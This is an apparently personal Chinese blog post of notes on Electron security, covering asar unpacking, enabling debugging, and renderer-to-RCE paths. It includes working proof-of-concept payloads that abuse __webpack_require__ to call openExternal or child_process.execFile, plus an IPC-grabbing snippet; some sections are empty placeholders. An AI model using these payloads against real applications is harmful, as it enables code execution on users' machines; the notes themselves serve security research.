Electron的安全问题

前言:Electron的安全问题的笔记,然后再举例一个实战Electron挖掘到的一个漏洞

参考文章:https://www.electronjs.org/docs/latest/tutorial/security
参考文章:https://github.com/pd4d10/debugtron
参考文章:https://github.com/Just-Hack-For-Fun/Electron-Security

什么是Electron

Electron是由Github开发的一个构建跨平台桌面应用程序的开源框架,通过将 Chromium和Node.js合并到同一个运行环境中,可以打包成Windows、Linux、Mac系统下 的应用程序。 Electron平台用Javascript把UI和后端逻辑打通,后台主进程使用NodeJs丰富的API完 成复杂耗时的逻辑,而UI进程则借助Chrome渲染HTML完成交互。

如何查看electron的版本信息

项目开启调试模式,接着在控制台执行window.electron.process即可直接看到对应electron和chrome的版本信息,如下图所示

反编译

1.安装asar
npm install -g asar
2.命令行中解压asar文件
asar extract app.asar ./app
3.命令行中重新打包asar文件
asar pack ./app app.asar

手动开启调试模式

asar extract app.asar ./app

然后进行修改

重新打包

asar pack ./app app.asar

自定义协议protocol攻击链路

x

原型链污染IPC模块攻击链路

Electron >14

主进程IPC存在错误配置,通过进程间通信IPC,进行RCE

利用原生__webpack_require__命令执行

无沙箱的情况下,获取openExternal直接执行系统命令

window.__webpack_require__('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')

window.__webpack_require__("module")._load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
有沙箱的情况下,获取ipc,通过主进程的错误配置RCE

ipc = __webpack_require__('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal
a=__webpack_require__('./node modules/process/browser.is')._linkedBinding('electron_renderer_ipc')

利用开发预加载preload函数命令执行

x

posted @ 2021-05-23 01:26  zpchcbd  阅读(300)  评论(0)    收藏  举报